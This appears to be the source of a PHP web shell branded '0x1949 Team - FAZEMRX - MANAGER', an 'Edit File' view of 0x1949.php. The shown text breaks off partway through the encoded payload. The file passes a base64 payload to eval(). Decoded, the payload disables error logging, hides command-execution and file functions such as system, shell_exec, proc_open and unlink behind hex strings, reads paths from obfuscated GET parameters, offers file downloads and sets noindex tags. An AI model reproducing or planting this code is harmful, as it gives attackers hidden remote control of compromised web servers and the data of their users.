0x1949 Team - FAZEMRX - MANAGER
Edit File: 0x1949.php
<?php eval("?>".base64_decode("PD9waHANCkBzZXRfdGltZV9saW1pdCgwKTsNCkBjbGVhcnN0YXRjYWNoZSgpOw0KQGluaV9zZXQoJ2Vycm9yX2xvZycsIE5VTEwpOw0KQGluaV9zZXQoJ2xvZ19lcnJvcnMnLCAwKTsNCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsNCkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywgMCk7DQpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsNCiMgZnVuY3Rpb24gV0FGDQoNCg0KJEFycmF5ID0gWw0KICAgICc2NzY1NzQ2Mzc3NjQnLCAjIGdlICB0Y3cgZCA9PiAwDQogICAgJzY3NmM2ZjYyJywgIyBnbCBvYiA9PiAxDQogICAgJzY5NzM1ZjY0Njk3MicsICMgaXNfZCBpciA9PiAyDQogICAgJzY5NzM1ZjY2Njk2YzY1JywgIyBpc18gZmlsZSA9PiAzDQogICAgJzY5NzM1Zjc3NzI2OTc0NjE2MjZjNjUnLCAjIGlzX3dyIGl0ZWFibGUgPT4gNA0KICAgICc2OTczNWY3MjY1NjE2NDYxNjI2YzY1JywgIyBpc19yZSBhZGJsZSA9PiA1DQogICAgJzY2Njk2YzY1NzA2NTcyNmQ3MycsICMgZmlsZXBlciBtcyA9PiA2DQogICAgJzY2Njk2YzY1JywgIyBmIGlsZSA9PiA3DQogICAgJzcwNjg3MDVmNzU2ZTYxNmQ2NScsICMgcGhwX3VuYW0gZSA9PiA4DQogICAgJzY3NjU3NDVmNjM3NTcyNzI2NTZlNzQ1Zjc1NzM2NTcyJywgIyBnZXRjIHVycmVudHVzZXIgPT4gOQ0KICAgICc2ODc0NmQ2YzczNzA2NTYzNjk2MTZjNjM2ODYxNzI3MycsICMgaHRtbCBzcGVjaWFsID0+IDEwDQogICAgJzY2Njk2YzY1NWY2NzY1NzQ1ZjYzNmY2ZTc0NjU2ZTc0NzMnLCAjIGZpbCBlX2dldF9jb250ZW50cyA9PiAxMQ0KICAgICc2ZDZiNjQ2OTcyJywgIyBtayBkaXIgPT4gMTINCiAgICAnNzQ2Zjc1NjM2OCcsICMgdG8gdWNoID0+IDEzDQogICAgJzYzNjg2NDY5NzInLCAjIGNoIGRpciA9PiAxNA0KICAgICc3MjY1NmU2MTZkNjUnLCAjIHJlbiBhbWUgPT4gMTUNCiAgICAnNjU3ODY1NjMnLCAjIGV4ZSBjID0+IDE2DQogICAgJzcwNjE3MzczNzQ2ODcyNzUnLCAjIHBhcyBzdGhydSA9PiAxNw0KICAgICc3Mzc5NzM3NDY1NmQnLCAjIHN5c3QgZW0gPT4gMTgNCiAgICAnNzM2ODY1NmM2YzVmNjU3ODY1NjMnLCAjIHNoIGVsbF9leGVjID0+IDE5DQogICAgJzcwNmY3MDY1NmUnLCAjIHAgb3BlbiA9PiAyMA0KICAgICc3MDYzNmM2ZjczNjUnLCAjIHBjbCBvc2UgPT4gMjENCiAgICAnNzM3NDcyNjU2MTZkNWY2NzY1NzQ1ZjYzNmY2ZTc0NjU2ZTc0NzMnLCAjIHN0cmUgYW1nZXRjb250ZW50cyA9PiAyMg0KICAgICc3MDcyNmY2MzVmNmY3MDY1NmUnLCAjIHAgcm9jX29wZW4gPT4gMjMNCiAgICAnNzU2ZTZjNjk2ZTZiJywgIyB1biBsaW5rID0+IDI0DQogICAgJzcyNmQ2NDY5NzInLCAjIHJtZCBpciA9PiAyNQ0KICAgICc2NjZmNzA2NTZlJywgIyBmb3AgZW4gPT4gMjYNCiAgICAnNjY2MzZjNmY3MzY1JywgIyBmY2wgb3NlID0+IDI3DQogICAgJzY2Njk2YzY1NWY3MDc1NzQ1ZjYzNmY2ZTc0NjU2ZTc0NzMnLCAjIGZpbGVfcHV0X2Mgb250ZW50cyA9PiAyOA0KICAgICc2ZDZmNzY2NTVmNzU3MDZjNmY2MTY0NjU2NDVmNjY2OTZjNjUnLCAjIG1vdmVfdXAgbG9hZGVkX2ZpbGUgPT4gMjkNCiAgICAnNjM2ODZkNmY2NCcsICMgY2ggbW9kID0+IDMwDQogICAgJzczNzk3MzVmNjc2NTc0NWY3NDY1NmQ3MDVmNjQ2OTcyJywgIyB0ZW1wIF9kaXIgPT4gMzENCiAgICAnNjI2MTczNjUzNjM0NUY2NDY1NjM2RjY0NjUnLCAjID0+IGJhcyBlNiA0IF9kZWNvZGUgPT4gMzINCiAgICAnNjI2MTczNjUzNjM0NUY2NTZFNjM2RjY0NjUnLCAjID0+IGJhIHNlNiA0XyBlbmNvZGUgPT4gMzMNCl07DQokaGl0dW5nX2FycmF5ID0gY291bnQoJEFycmF5KTsNCmZvciAoJGkgPSAwOyAkaSA8ICRoaXR1bmdfYXJyYXk7ICRpKyspIHsNCiAgICAkZnVuZ3NpW10gPSB1bngoJEFycmF5WyRpXSk7DQp9DQoNCmlmIChpc3NldCgkX0dFVFsnZCddKSkgew0KICAgICRjZGlyID0gdW54KCRfR0VUWydkJ10pOw0KICAgICRmdW5nc2lbMTRdKCRjZGlyKTsNCn0gZWxzZSB7DQogICAgJGNkaXIgPSAkZnVuZ3NpWzBdKCk7DQp9DQoNCmZ1bmN0aW9uIGZpbGVfZXh0KCRmaWxlKQ0Kew0KICAgIGlmIChtaW1lX2NvbnRlbnRfdHlwZSgkZmlsZSkgPT0gJ2ltYWdlL3BuZycgb3IgbWltZV9jb250ZW50X3R5cGUoJGZpbGUpID09ICdpbWFnZS9qcGVnJykgew0KICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWltYWdlIiBzdHlsZT0iY29sb3I6IzA5ZTNhNSI+PC9pPic7DQogICAgfSBlbHNlIGlmIChtaW1lX2NvbnRlbnRfdHlwZSgkZmlsZSkgPT0gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwJyBvciBtaW1lX2NvbnRlbnRfdHlwZSgkZmlsZSkgPT0gJ3RleHQvaHRtbCcpIHsNCiAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZS1jb2RlIiBzdHlsZT0iY29sb3I6IzA5ODVlMyI+PC9pPic7DQogICAgfSBlbHNlIGlmIChtaW1lX2NvbnRlbnRfdHlwZSgkZmlsZSkgPT0gJ3RleHQvamF2YXNjcmlwdCcpIHsNCiAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtYnJhbmRzIGZhLXNxdWFyZS1qcyI+PC9pPic7DQogICAgfSBlbHNlIGlmIChtaW1lX2NvbnRlbnRfdHlwZSgkZmlsZSkgPT0gJ2FwcGxpY2F0aW9uL3ppcCcgb3IgbWltZV9jb250ZW50X3R5cGUoJGZpbGUpID09ICdhcHBsaWNhdGlvbi94LTd6LWNvbXByZXNzZWQnKSB7DQogICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZpbGUtemlwcGVyIiBzdHlsZT0iY29sb3I6I2UzOWEwOSI+PC9pPic7DQogICAgfSBlbHNlIGlmIChtaW1lX2NvbnRlbnRfdHlwZSgkZmlsZSkgPT0gJ3RleHQvcGxhaW4nKSB7DQogICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZpbGUiIHN0eWxlPSJjb2xvcjojZWRmN2Y1Ij48L2k+JzsNCiAgICB9IGVsc2UgaWYgKG1pbWVfY29udGVudF90eXBlKCRmaWxlKSA9PSAnYXBwbGljYXRpb24vcGRmJykgew0KICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtcGRmIiBzdHlsZT0iY29sb3I6I2JhMmIwZiI+PC9pPic7DQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1maWxlLWNvZGUiIHN0eWxlPSJjb2xvcjojMDk4NWUzIj48L2k+JzsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGRvd25sb2FkKCRmaWxlKQ0Kew0KDQogICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlKSkgew0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXInKTsNCiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOw0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScgLiBiYXNlbmFtZSgkZmlsZSkpOw0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeScpOw0KICAgICAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTsNCiAgICAgICAgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBtdXN0LXJldmFsaWRhdGUnKTsNCiAgICAgICAgaGVhZGVyKCdQcmFnbWE6IHB1YmxpYycpOw0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJGZpbGUpKTsNCiAgICAgICAgb2JfY2xlYW4oKTsNCiAgICAgICAgZmx1c2goKTsNCiAgICAgICAgcmVhZGZpbGUoJGZpbGUpOw0KICAgICAgICBleGl0Ow0KICAgIH0NCn0NCg0KaWYgKCRfR0VUWydkb24nXSA9PSB0cnVlKSB7DQogICAgJEZpbGVzRG9uID0gZG93bmxvYWQodW54KCRfR0VUWydkb24nXSkpOw0KfQ0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWwgbGFuZz0iZW4iPg0KDQo8aGVhZD4NCiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1lZGdlIj4NCiAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4NCiAgICA8bWV0YSBuYW1lPSJnb29nbGVib3QiIGNvbnRlbnQ9Im5vaW5kZXgiPg0KICAgIDx0aXRsZT4weDE5NDkgVGVhbSBbIDw/PSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsgPz4gXTwvdGl0bGU+DQogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9jb2RlbWlycm9yLzUuNjMuMC9jb2RlbWlycm9yLm1pbi5jc3MiPg0KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY29kZW1pcnJvci81LjYzLjAvdGhlbWUvYXl1LW1pcmFnZS5taW4uY3NzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NvZGVtaXJyb3IvNS42My4wL2FkZG9uL2hpbnQvc2hvdy1oaW50Lm1pbi5jc3MiPg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2tpdC5mb250YXdlc29tZS5jb20vMDU3YjliNTEwYy5qcyIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzMuNi4xL2pxdWVyeS5taW4uanMiPjwvc2NyaXB0Pg0KICAgIDxzY3JpcHQgc3JjPSIvL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL3N3ZWV0YWxlcnQyQDExIj48L3NjcmlwdD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY29kZW1pcnJvci81LjYzLjAvY29kZW1pcnJvci5taW4uanMiPjwvc2NyaXB0Pg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9jb2RlbWlycm9yLzUuNjMuMC9tb2RlL3htbC94bWwubWluLmpzIj48L3NjcmlwdD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY29kZW1pcnJvci81LjYzLjAvbW9kZS9qYXZhc2NyaXB0L2phdmFzY3JpcHQubWluLmpzIj48L3NjcmlwdD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY29kZW1pcnJvci81LjYzLjAvYWRkb24vaGludC9zaG93LWhpbnQubWluLmpzIj48L3NjcmlwdD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY29kZW1pcnJvci81LjYzLjAvYWRkb24vaGludC94bWwtaGludC5taW4uanMiPjwvc2NyaXB0Pg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9jb2RlbWlycm9yLzUuNjMuMC9hZGRvbi9oaW50L2h0bWwtaGludC5taW4uanMiPjwvc2NyaXB0Pg0KICAgIDxzdHlsZT4NCiAgICAgICAgQG1lZGlhIHNjcmVlbiBhbmQgKG1pbi13aWR0aDogNzY4cHgpIGFuZCAobWF4LXdpZHRoOiAxMjAwcHgpIGFuZCAobWluLWhlaWdodDo3MjBweCkgew0KICAgICAgICAgICAgLmNvZGUtZWRpdG9yLWNvbnRhaW5lciB7DQogICAgICAgICAgICAgICAgaGVpZ2h0OiA4NXZoICFpbXBvcnRhbnQ7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC5Db2RlTWlycm9yIHsNCiAgICAgICAgICAgICAgICBoZWlnaHQ6IDcydmggIWltcG9ydGFudDsNCiAgICAgICAgICAgICAgICBmb250LXNpemU6IHh4LWxhcmdlICFpbXBvcnRhbnQ7DQogICAgICAgICAgICAgICAgbWFyZ2luOiAwIDRweDsNCiAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC5idG4tbW9kYWwtY2xvc2Ugew0KICAgICAgICAgICAgICAgIHBhZGRpbmc6IDE1cHggNDBweCAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgLmJ0bi1zdWJtaXQsDQogICAgICAgIGEgew0KICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KICAgICAgICAgICAgY29sb3I6ICNmZmYNCiAgICAgICAgfQ0KDQogICAgICAgIGEsDQogICAgICAgIGJvZHkgew0KICAgICAgICAgICAgY29sb3I6ICNmZmYNCiAgICAgICAgfQ0KDQogICAgICAgIC5idG4tc3VibWl0LA0KICAgICAgICAuZm9ybS1maWxlLA0KICAgICAgICB0Ym9keSB0cjpudGgtY2hpbGQoMm4pIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMjI0MmQNCiAgICAgICAgfQ0KDQogICAgICAgIC5jb2RlLWVkaXRvciwNCiAgICAgICAgLm1vZGFsLA0KICAgICAgICAudGVybWluYWwgew0KICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkOw0KICAgICAgICAgICAgdG9wOiAwOw0KICAgICAgICAgICAgbGVmdDogMDsNCiAgICAgICAgICAgIHJpZ2h0OiAwOw0KICAgICAgICAgICAgYm90dG9tOiAwDQogICAgICAgIH0NCg0KICAgICAgICAuY29kZS1lZGl0b3ItYm9keSB0ZXh0YXJlYSwNCiAgICAgICAgLnRlcm1pbmFsLWJvZHkgdGV4dGFyZWEgew0KICAgICAgICAgICAgd2lkdGg6IDk4LjUlOw0KICAgICAgICAgICAgaGVpZ2h0OiA0MDBweDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogc21hbGxlcjsNCiAgICAgICAgICAgIHJlc2l6ZTogbm9uZQ0KICAgICAgICB9DQoNCiAgICAgICAgLm1lbnUtdG9vbHMgbGksDQogICAgICAgIC50ZXJtaW5hbC1ib2R5IGxpLA0KICAgICAgICAudGVybWluYWwtaGVhZCBsaSB7DQogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2sNCiAgICAgICAgfQ0KDQogICAgICAgIGJvZHkgew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzBlMGYxNzsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2UNCiAgICAgICAgfQ0KDQogICAgICAgIC5idG4tbW9kYWwtY2xvc2U6aG92ZXIsDQogICAgICAgIC5idG4tc3VibWl0OmhvdmVyLA0KICAgICAgICAubWVudS1maWxlLW1hbmFnZXIgdWwsDQogICAgICAgIC5wYXRoLXB3ZCwNCiAgICAgICAgdGhlYWQgew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzJlMzEzZA0KICAgICAgICB9DQoNCiAgICAgICAgdWwgew0KICAgICAgICAgICAgbGlzdC1zdHlsZTogbm9uZQ0KICAgICAgICB9DQoNCiAgICAgICAgLm1lbnUtaGVhZGVyIGxpIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDVweCAwDQogICAgICAgIH0NCg0KICAgICAgICAubWVudS1oZWFkZXIgdWwgbGkgew0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMDsNCiAgICAgICAgICAgIGZvbnQtc3R5bGU6IGl0YWxpYw0KICAgICAgICB9DQoNCiAgICAgICAgLmJ0bi1zdWJtaXQgew0KICAgICAgICAgICAgcGFkZGluZzogN3B4IDI1cHg7DQogICAgICAgICAgICBib3JkZXI6IDJweCBzb2xpZCBncmV5Ow0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4DQogICAgICAgIH0NCg0KICAgICAgICAuZm9ybS1maWxlLA0KICAgICAgICBhOmhvdmVyIHsNCiAgICAgICAgICAgIGNvbG9yOiAjYzVjOGQ2DQogICAgICAgIH0NCg0KICAgICAgICAuYnRuLXN1Ym1pdDpob3ZlciB7DQogICAgICAgICAgICBib3JkZXI6IDJweCBzb2xpZCAjYzVjOGQ2DQogICAgICAgIH0NCg0KICAgICAgICAuZm9ybS11cGxvYWQgew0KICAgICAgICAgICAgbWFyZ2luOiAxMHB4IDANCiAgICAgICAgfQ0KDQogICAgICAgIC5mb3JtLWZpbGUgew0KICAgICAgICAgICAgYm9yZGVyOiAycHggc29saWQgZ3JleTsNCiAgICAgICAgICAgIHBhZGRpbmc6IDdweCAyMHB4Ow0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4DQogICAgICAgIH0NCg0KICAgICAgICAubWVudS10b29scyB7DQogICAgICAgICAgICB3aWR0aDogOTUlDQogICAgICAgIH0NCg0KICAgICAgICAubWVudS10b29scyBsaSB7DQogICAgICAgICAgICBtYXJnaW46IDE1cHggMA0KICAgICAgICB9DQoNCiAgICAgICAgLm1lbnUtZmlsZS1tYW5hZ2VyLA0KICAgICAgICAubW9kYWwtbWFpbC10ZXh0IHsNCiAgICAgICAgICAgIG1hcmdpbjogMTBweCA0MHB4DQogICAgICAgIH0NCg0KICAgICAgICAubWVudS1maWxlLW1hbmFnZXIgbGkgew0KICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrOw0KICAgICAgICAgICAgbWFyZ2luOiAxNXB4IDIwcHgNCiAgICAgICAgfQ0KDQogICAgICAgIC5tZW51LWZpbGUtbWFuYWdlciBsaSBhOjphZnRlciB7DQogICAgICAgICAgICBjb250ZW50OiAiIjsNCiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOw0KICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNmZmYNCiAgICAgICAgfQ0KDQogICAgICAgIC5wYXRoLXB3ZCB7DQogICAgICAgICAgICBwYWRkaW5nOiAxNXB4IDA7DQogICAgICAgICAgICBtYXJnaW46IDVweCAwDQogICAgICAgIH0NCg0KICAgICAgICB0YWJsZSB7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHgNCiAgICAgICAgfQ0KDQogICAgICAgIHRoZWFkIHsNCiAgICAgICAgICAgIGhlaWdodDogMzVweA0KICAgICAgICB9DQoNCiAgICAgICAgdGJvZHkgdHIgdGQgew0KICAgICAgICAgICAgcGFkZGluZzogMTBweCAwDQogICAgICAgIH0NCg0KICAgICAgICB0Ym9keSB0ciB0ZDpudGgtY2hpbGQoMiksDQogICAgICAgIHRib2R5IHRyIHRkOm50aC1jaGlsZCgzKSwNCiAgICAgICAgdGJvZHkgdHIgdGQ6bnRoLWNoaWxkKDQpIHsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcg0KICAgICAgICB9DQoNCiAgICAgICAgOjotd2Via2l0LXNjcm9sbGJhciB7DQogICAgICAgICAgICB3aWR0aDogMTZweA0KICAgICAgICB9DQoNCiAgICAgICAgOjotd2Via2l0LXNjcm9sbGJhci10cmFjayB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMGUwZjE3DQogICAgICAgIH0NCg0KICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMyMjI0MmQ7DQogICAgICAgICAgICBib3JkZXI6IDJweCBzb2xpZCAjNTU1Ow0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4DQogICAgICAgIH0NCg0KICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iOmhvdmVyIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICM1NTUNCiAgICAgICAgfQ0KDQogICAgICAgIDo6LXdlYmtpdC1maWxlLXVwbG9hZC1idXR0b24gew0KICAgICAgICAgICAgZGlzcGxheTogbm9uZQ0KICAgICAgICB9DQoNCiAgICAgICAgLm1vZGFsIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7DQogICAgICAgICAgICB6LWluZGV4OiAyOw0KICAgICAgICAgICAgd2lkdGg6IDEwMCU7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDAsIDAsIDAsIC4zKQ0KICAgICAgICB9DQoNCiAgICAgICAgLm1vZGFsLWNvbnRhaW5lciB7DQogICAgICAgICAgICBhbmltYXRpb24tbmFtZTogbW9kYWwtcG9wLW91dDsNCiAgICAgICAgICAgIGFuaW1hdGlvbi1kdXJhdGlvbjogLjdzOw0KICAgICAgICAgICAgYW5pbWF0aW9uLWZpbGwtbW9kZTogYm90aDsNCiAgICAgICAgICAgIG1hcmdpbjogMTAlIGF1dG8gYXV0bzsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7DQogICAgICAgICAgICB3aWR0aDogODAwcHg7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjRmNGY5DQogICAgICAgIH0NCg0KICAgICAgICBAa2V5ZnJhbWVzIG1vZGFsLXBvcC1vdXQgew0KICAgICAgICAgICAgZnJvbSB7DQogICAgICAgICAgICAgICAgb3BhY2l0eTogMA0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICB0byB7DQogICAgICAgICAgICAgICAgb3BhY2l0eTogMQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgLm1vZGFsLWhlYWRlciB7DQogICAgICAgICAgICBjb2xvcjogIzAwMDsNCiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAzMHB4Ow0KICAgICAgICAgICAgcGFkZGluZzogMTBweA0KICAgICAgICB9DQoNCiAgICAgICAgLm1vZGFsLWJvZHksDQogICAgICAgIC50ZXJtaW5hbC1oZWFkIGxpIHsNCiAgICAgICAgICAgIGNvbG9yOiAjMDAwDQogICAgICAgIH0NCg0KICAgICAgICAubW9kYWwtY3JlYXRlLWlucHV0IHsNCiAgICAgICAgICAgIHdpZHRoOiA3MDBweDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggNXB4Ow0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Y0ZjRmOTsNCiAgICAgICAgICAgIG1hcmdpbjogMCA1JTsNCiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IDhweCA4cHggMjBweCByZ2JhKDAsIDAsIDAsIC4yKTsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjMGUwZjE3DQogICAgICAgIH0NCg0KICAgICAgICAuYm94LXNoYWRvdyB7DQogICAgICAgICAgICBib3gtc2hhZG93OiA4cHggOHB4IDhweCByZ2JhKDAsIDAsIDAsIC4yKQ0KICAgICAgICB9DQoNCiAgICAgICAgLmJ0bi1tb2RhbC1jbG9zZSB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjIyNDJkOw0KICAgICAgICAgICAgY29sb3I6ICNmZmY7DQogICAgICAgICAgICBib3JkZXI6IG5vbmU7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7DQogICAgICAgICAgICBwYWRkaW5nOiA4cHggMzVweA0KICAgICAgICB9DQoNCiAgICAgICAgLmJhZGdlLWFjdGlvbi1jaG1vZDpob3Zlcjo6YWZ0ZXIsDQogICAgICAgIC5iYWRnZS1hY3Rpb24tZG93bmxvYWQ6aG92ZXI6OmFmdGVyLA0KICAgICAgICAuYmFkZ2UtYWN0aW9uLWVkaXRvcjpob3Zlcjo6YWZ0ZXIgew0KICAgICAgICAgICAgcGFkZGluZzogNXB4Ow0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4Ow0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDExMHB4Ow0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzJlMzEzZA0KICAgICAgICB9DQoNCiAgICAgICAgLm1vZGFsLWJ0bi1mb3JtIHsNCiAgICAgICAgICAgIG1hcmdpbjogMTVweCAwOw0KICAgICAgICAgICAgcGFkZGluZzogMTBweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IHJpZ2h0DQogICAgICAgIH0NCg0KICAgICAgICAuZmlsZS1zaXplIHsNCiAgICAgICAgICAgIGNvbG9yOiBvcmFuZ2UNCiAgICAgICAgfQ0KDQogICAgICAgIC5iYWRnZS1yb290OjphZnRlciB7DQogICAgICAgICAgICBjb250ZW50OiAicm9vdCI7DQogICAgICAgICAgICBkaXNwbGF5OiBibG9jazsNCiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICAgICAgICAgIHdpZHRoOiA0MHB4Ow0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOw0KICAgICAgICAgICAgbWFyZ2luLXRvcDogLTMwcHg7DQogICAgICAgICAgICBtYXJnaW4tbGVmdDogMTEwcHg7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZWQNCiAgICAgICAgfQ0KDQogICAgICAgIC5iYWRnZS1wcmVtaXVtOjphZnRlciB7DQogICAgICAgICAgICBjb250ZW50OiAic29vbiEiOw0KICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7DQogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7DQogICAgICAgICAgICB3aWR0aDogNDBweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICAgICAgICAgIG1hcmdpbi10b3A6IC0zMHB4Ow0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDE0MHB4Ow0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4Ow0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmVkDQogICAgICAgIH0NCg0KICAgICAgICAuYmFkZ2UtYWN0aW9uLWNobW9kOmhvdmVyOjphZnRlciwNCiAgICAgICAgLmJhZGdlLWFjdGlvbi1kb3dubG9hZDpob3Zlcjo6YWZ0ZXIsDQogICAgICAgIC5iYWRnZS1hY3Rpb24tZWRpdG9yOmhvdmVyOjphZnRlciwNCiAgICAgICAgLmJhZGdlLWxpbnV4OjphZnRlciwNCiAgICAgICAgLmJhZGdlLXdpbmRvd3M6OmFmdGVyIHsNCiAgICAgICAgICAgIHdpZHRoOiA2MHB4Ow0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOw0KICAgICAgICAgICAgbWFyZ2luLXRvcDogLTMwcHg7DQogICAgICAgICAgICBkaXNwbGF5OiBibG9jazsNCiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZQ0KICAgICAgICB9DQoNCiAgICAgICAgLmJhZGdlLXdpbmRvd3M6OmFmdGVyIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IG9yYW5nZTsNCiAgICAgICAgICAgIGNvbG9yOiAjMDAwOw0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDEwMHB4Ow0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4Ow0KICAgICAgICAgICAgY29udGVudDogIndpbmRvd3M